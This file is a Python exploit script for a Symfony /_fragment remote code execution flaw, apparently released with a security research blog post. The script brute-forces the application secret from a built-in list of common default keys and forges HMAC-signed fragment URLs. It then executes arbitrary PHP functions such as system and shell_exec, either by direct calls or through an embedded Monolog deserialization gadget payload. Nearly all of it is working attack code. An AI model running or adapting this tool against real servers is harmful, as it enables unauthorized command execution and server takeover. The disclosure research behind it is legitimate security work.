#!/usr/bin/env python3
# Symfony _fragment RCE
# 2020-10-19
# cfreal
# URL: https://www.ambionics.io/blog/symfony-secret-fragment
#
## USAGE
#
### DISCOVERY
#
# No idea what I'm doing:
# $ ./secret_fragment.php https://target.com/_fragment
#
# I found the key somewhere:
# $ ./secret_fragment.php https://target.com/_fragment --secret 'CustomKey123!'
#
# I know the internal path:
# $ ./secret_fragment.php https://target.com/_fragment \
#   --internal-url http://target.internal.com/_fragment 
#
# I know the hashing algorithm:
# $ ./secret_fragment.php https://target.com/_fragment --algo sha1
#
### EXPLOIT
# 
# There are two methods. Using --method 1/2 will generate an URL using the
# given parameters, and display it. It won't issue an HTTP request.
#
#### METHOD 1
#
#  * Calls the function straight up
#  * Older versions (?)
#  * Function takes an arbitrary number of parameters
#  * Sometimes, every parameter must be given, with its name
#
# Example: Calls phpinfo($what):
#
# $ ./symfony_fragment.php https://target.com/_fragment \
#   --internal-url http://target.internal.com/_fragment 
#   --secret 'CustomKey123!' \
#   --method 1
#   --function phpinfo
#   --parameters what:-1
#
# The name of the parameter, "what", is IMPORTANT. It must match the doc.
#
# Example: Calls toto($a, $b):
#
# $ ./symfony_fragment.php https://target.com/_fragment \
#   --internal-url http://target.internal.com/_fragment 
#   --secret 'CustomKey123!' \
#   --method 1
#   --function toto
#   --parameters a:value_for_a b:value_for_b
#
# Example: Calls shell_exec($cmd):
#
# $ ./symfony_fragment.php https://target.com/_fragment \
#   --internal-url http://target.internal.com/_fragment 
#   --secret 'CustomKey123!' \
#   --method 1
#   --function shell_exec
#   --parameters cmd:'id > ./out.txt'
#
#### METHOD 2
#
#  * Symfony\Component\Yaml\Inline::parse -> YAML -> unserialize()
#  * Recent versions (?)
#  * Requires Monolog
#  * Function takes one parameter only
#
# Example: Calls system('id'):
#
# $ ./symfony_fragment.php https://target.com/_fragment \
#   --internal-url http://target.internal.com/_fragment 
#   --secret 'CustomKey123!' \
#   --method 2
#   --function system
#   --parameters 'id'
#
# Here, no need to match the parameter. Just straight up send it.
#

import argparse
import requests
import hashlib
import hmac
import base64
import urllib.parse as up
import urllib3
import itertools
import sys


# Collection of standard secrets
USUAL_SECRETS = [
    'ThisTokenIsNotSoSecretChangeIt',
    'ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt',
    '',
    'ff6dc61a329dc96652bb092ec58981f7',
    '<app-secret-id>',
    '54de6f999a511111e232d9a5565782f1',
    'Wh4t3v3r',
    'cc86c7ca937636d5ddf1b754beb22a10',
    '00811410cc97286401bd64101121de999b',
    '29f90564f9e472955211be8c5e05ee0a',
    '1313eb8ff3f07370fe1501a2fe57a7c7',
    'c78ebf740b9db52319c2c0a201923d62',
    'test',
    '24e17c47430bd2044a61c131c1cf6990',
    'EDITME',
    '4fd436666d9d29dd0773348c9d4be05c',
    'd120bc9442daf50769276abd769df8e9',
    'HeyIAmSecret',
    '!ChangeMe!',
    '${APP_SECRET}',
    '17fe130b189469cd85de07822d362f56',
    '16b10f9d2e7885152d41ea6175886563a',
    's$cretf0rt3st',
    '44705a2f4fc85d70df5403ac8c7649fd',
    'd6f9c4f8997e182557e0602aa11c68ca',
    '%env(resolve:APP_SECRET)%',
    '964f0359a5e14dd8395fe334867e9709',
    '31ab70e5aea4699ba61deddc8438d2f1',
    '%secret%',
    '9fc8286ff23942648814f85ee18381bc',
    'foobar123',
    'ClickToGenerate',
    'secretthings',
    'thisvariableissuddenlyneededhere',
    '9258a6c0e5c19d0d58a8c48bbc757491',
    '2eb810c79fba0dd5c029a2fa53bfdb51',
    'secret',
    '81d300585b3dfdf6a3161e48d970e2baea252e42',
    'thesecret',
    'xxxxxxxxxx',
    'b92c43d084fa449351e0524bf60bf972',
    '24f508c1071242299426ae6af85d5309',
    '2a0f335581bd72b6077840e29d73ba36',
    'klasjdfklajsdfkajsédfkjiewoji',
    '6eb99720adab08a18624be3388d9f850',
    'cf4d2c8e2757307d2c679b176e6d6070',
    'pasteYourSecretKeyHere',
    'asecretkey',
    'This is a secret, change me',
    '300d7b538e92e90197c3b5b2d2f8fa3f',
    '966536d311ddae0996d1ffd21efa1027',
    '307fbdc5fd538f6d733e8a2f773b6a39',
    '5ea3114a349591bd131296e00f21c20a',
    '123456789',
    '13bb5de558715e730e972ab52626ab6a',
    '4d1f86e8d726abe792f9b65e1b60634c',
    'adc3f69b4b8262565f7abb9513de7f36',
    '5ub5upfxih0k8g44w00ogwc4swog4088o8444sssos8k888o8g',
    'ThisIsNotReallySecretButOK',
    'f78d2a48cbd00d92acf418a47a0a5c3e',
    '123',
    '8b3fdfaddad056c4ca759ffe81156eafb10f30fc',
    '43db4c69b1c581489f70c4512191e484',
    'Xjwr91jr~j3gV-d6w@2&oI)wFc5ZiL',
    '&lt;app-secret-id>',
    '8c6e5404e4f1e5934b5b2da46cadaef0',
    '1083dc7bfd20cc8c2bd10148631513ecf7',
    'd3e2fa9715287ba25b2d0fd41685ac031970f555',
    'super_secret',
    '6b566e17cf0965eb4db2fef5f41bae18',
    '859bdea01e182789f006e295b33275af',
    'bdb22a4d4f0ed0e35a97fed13f18646f',
    '8501eeca7890b89042ccae7318a44fb1',
    'dbd3856a5c7b24c92263323e797ec91c',
    'xxxxxxxxxxxxxxxxx',
    'bca0540d761fb1055893195ad87acf07',
    '123123',
    'IAmNotSecret',
    'WhateverYouLikeTo',
    'bf05fa89ece928e6d1ecec0c38a008ee',
    'xxxxxxxaxaxaxa',
    '97829395eda62d81f37980176ded371a',
    'YOUR_APP_SECRET',
    '879a6adeceeccbdc835a19f7e3aad7e8',
    'some_new_secret_123',
    'f96c2d666ace1278ec4c9e2304381bc3',
    '7d41a4acde33432b1d51eae15a301550',
    '236cd9304bb88b11e2bb4d56108dffa8',
    '8cfa2bd0b50b7db00e9c186be68f7ce7465123d3',
    'dd4aaa68cebc5f632a489bfa522a0adc',
    's3kr3t',
    '3d05afda019ed4e3faaf936e3ce393ba',
    'a3aeede1199a907af36438508bb59cb8',
    '!NotSoSecretChangeMe!',
    'gPguz9ImBhOIRCntIJPwbqbFJTZjqSHaq8AkTk2pdoHYw35rYRs9VHX0',
    '367d9a07f619290b5cae0ab961e4ab94',
    'changeMeInDotEnvDotLocal',
    '{your-app-secret}',
    '32bb1968190362d214325d23756ffd65',
    '4f113cda46d1808807ee7e263da59a47',
    '67d829bf61dc5f87a73fd814e2c9f629',
    'cbe614ba25712be13e5ec4b651f61b06',
    '8d2a5c935d8ef1c0e2b751147382bc75',
    'thefamoussecretkeylol',
    '%env(APP_SECRET)%',
    'fe2ed475a06588e021724adc11f52849',
    'b2baa331595d5773b63d2575d568be73',
    '$ecretf0rt3st',
    'SuperSecretToken'
]


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def main():
    args = get_args()

    session = requests.Session()
    #session.proxies = {'http': 'localhost:8080', 'https': 'localhost:8080'}
    session.headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0'}
    session.verify = False

    if not args.method and not args.ignore_original_status:
        response = session.get(args.url)
        
        if response.status_code != 403:
            e(
                 'The URL /_fragment did not return 403, '
                f'but {response.status_code}\n'
                 'Restart with --ignore-original-status to force.'
            )
        o('The URL /_fragment returns 403, cool')

    mutations = generate_mutations(
        args.url, args.internal_url, args.secret, args.algo
    )

    if len(mutations) > 1:
        print()
        print(f'Trying {len(mutations)} mutations...')

        for algo, secret, internal_url in mutations:
            url = build_url_with_hash(args.url, internal_url, secret, algo)
            response = session.get(url)
            code = response.status_code
            if code != 403:
                o(f'  (OK) {algo} {secret} {internal_url} {code} {url}')
                break
            f(f'  (KO) {algo} {secret} {internal_url} {code} {url}')
        else:
            e('No mutation works')
    else:
        algo, secret, internal_url = mutations[0]

    # At this point we have the key, algo, and the internal URL, this should be
    # a piece of cake

    # No method ? Find it ourselves
    if not args.method:
        print()
        print('Trying both RCE methods...')

        url = build_url_with_hash(
            args.url, internal_url, secret, algo,
            _controller='phpinfo',
            what='-1',
        )
        response = session.get(url)

        if b'phpinfo()</title>' in response.content:
            o('  Method 1: Success!')
            print('')
            print(f'PHPINFO: {url}')
            print(
                f'RUN: '
                f'{sys.argv[0]} '
                f'{args.url!r} '
                f'--method 1 '
                f'--secret {secret!r} '
                f'--algo {algo!r} '
                f'--internal-url {internal_url!r} '
                f'--function phpinfo '
                f'--parameters what:-1'
            )
            return

        f('  Method 1: Failure!')

        url = build_url_with_yaml_payload(
            args.url, internal_url, secret, algo,
            function='phpinfo',
            argument='-1'
        )
        response = session.get(url)

        if b'phpinfo()</title>' in response.content:
            o('  Method 2: Success!')
            print('')
            print(f'PHPINFO: {url}')
            print(
                f'RUN: '
                f'{sys.argv[0]} '
                f'{args.url!r} '
                f'--method 2 '
                f'--secret {secret!r} '
                f'--internal-url {internal_url!r} '
                f'--function phpinfo '
                f'--parameters=-1'
            )
            return

        f('  Method 2: Failure!')
        print()
        f('BOTH METHODS FAILED, UNLUCKY')
        print(
            'This does not mean you cannot make it work. This just means a '
            'robot failed to exploit a vulnerability.'
        )
    elif args.method == 1:
        infos = dict(item.split(':', 1) for item in (args.parameters or []))
        infos['_controller'] = args.function

        url = build_url_with_hash(args.url, internal_url, secret, algo, **infos)
        print(url)
    elif args.method == 2:
        url = build_url_with_yaml_payload(
            args.url, internal_url, secret, algo,
            args.function, args.parameters[0]
        )
        print(url)
    else:
        e(f'Unknown method {args.method!r}')


def compute_hmac(secret, data, algo):
    algo = getattr(hashlib, algo)
    token = hmac.new(secret.encode(), data.encode(), algo).digest()
    return base64.b64encode(token)


def generate_mutations(url, internal_url, secret, algo):
    """Generates every potential (internal_url, secret) pair. Those pairs will
    be tried one by one until something works.
    """
    if internal_url:
        internal_urls = [internal_url]
    elif url.startswith('https://'):
        internal_urls = [
            url,
            url.replace('https://', 'http://')
        ]
    else:
        internal_urls = [
            url,
            url.replace('http://', 'https://')
        ]

    secrets = secret is not None and [secret] or USUAL_SECRETS

    algos = ['sha256', 'sha1'] if not algo else [algo]

    return list(itertools.product(algos, secrets, internal_urls))


def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('url', help='Target URL')
    parser.add_argument(
        '-i', '--internal-url', help='URL used to compute the hash'
    )
    parser.add_argument('-s', '--secret', help='Secret key')
    parser.add_argument(
        '-a', '--algo', help='Hash algorithm (sha1/sha256)',
        choices=['sha1', 'sha256']
    )
    parser.add_argument('-f', '--function', help='PHP function to call')
    parser.add_argument(
        '-p', '--parameters',
        help=(
            'PHP function parameters in the form "name0:value0" "name1:value1" '
            'for method 1 or just "param" for method 2'
        ),
        nargs='*'
    )
    parser.add_argument(
        '--ignore-original-status',
        help=(
            'Ignore /_fragment\'s original status code, instead of requiring a '
            '403'
        ),
        action='store_true'
    )
    parser.add_argument('-m', '--method', help='Method to use (1, 2)', type=int)
    return parser.parse_args()


# Hash

def build_url_with_hash(url, internal_url, secret, algo, **infos):
    infos = up.quote_plus(up.urlencode(infos))
    query_string = f'?_path={infos}'

    to_sign = f'{internal_url}{query_string}'
    _hash = compute_hmac(secret, to_sign, algo)
    # On some Symfony versions, the URL-encoded versions of the hashes are
    # compared, so we need the URL-encoding to match PHP's.
    # Python does not replace "/", but PHP does.
    quoted_hash = up.quote(_hash).replace('/', '%2F')

    return f'{url}{query_string}&_hash={quoted_hash}'


def build_url_with_yaml_payload(
    url, internal_url, secret, algo, function, argument
):
    # ./phpggc -s -- monolog/rce1 phpinfo -1
    payload = (
        r'O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"%00*%00socket"%3BO:29'
        r':"Monolog\Handler\BufferHandler":7:{s:10:"%00*%00handler"%3BO:29:"Mon'
        r'olog\Handler\BufferHandler":7:{s:10:"%00*%00handler"%3BN%3Bs:13:"%00*'
        r'%00bufferSize"%3Bi:-1%3Bs:9:"%00*%00buffer"%3Ba:1:{i:0%3Ba:2:{i:0%3Bs'
        r':2:"-1"%3Bs:5:"level"%3BN%3B}}s:8:"%00*%00level"%3BN%3Bs:14:"%00*%00i'
        r'nitialized"%3Bb:1%3Bs:14:"%00*%00bufferLimit"%3Bi:-1%3Bs:13:"%00*%00p'
        r'rocessors"%3Ba:2:{i:0%3Bs:7:"current"%3Bi:1%3Bs:[SZ_FUNC]:"[FUNC]"%3B'
        r'}}s:13:"%00*%00bufferSize"%3Bi:-1%3Bs:9:"%00*%00buffer"%3Ba:1:{i:0%3B'
        r'a:2:{i:0%3Bs:[SZ_ARG]:"[ARG]"%3Bs:5:"level"%3BN%3B}}s:8:"%00*%00level'
        r'"%3BN%3Bs:14:"%00*%00initialized"%3Bb:1%3Bs:14:"%00*%00bufferLimit"%3'
        r'Bi:-1%3Bs:13:"%00*%00processors"%3Ba:2:{i:0%3Bs:7:"current"%3Bi:1%3Bs'
        r':[SZ_FUNC]:"[FUNC]"%3B}}}'
    )
    payload = (
        up.unquote(payload)
        .replace('[SZ_FUNC]', str(len(function)))
        .replace('[FUNC]', function)
        .replace('[SZ_ARG]', str(len(argument)))
        .replace('[ARG]', argument)
    )
    return build_url_with_hash(
        url, internal_url, secret, algo,
        _controller=r'Symfony\Component\Yaml\Inline::parse',
        value=f'!php/object {payload}',
        exceptionOnInvalidType='0',
        objectSupport='1',
        objectForMap='0',
        references='',
        flags='516'
    )


# Output stuff

def o(x):
    print('\x1b[32m' + x + '\x1b[39m')

def f(x):
    print('\x1b[31m' + x + '\x1b[39m')

def e(x):
    f(x)
    exit()

# Run the whole thing

main()
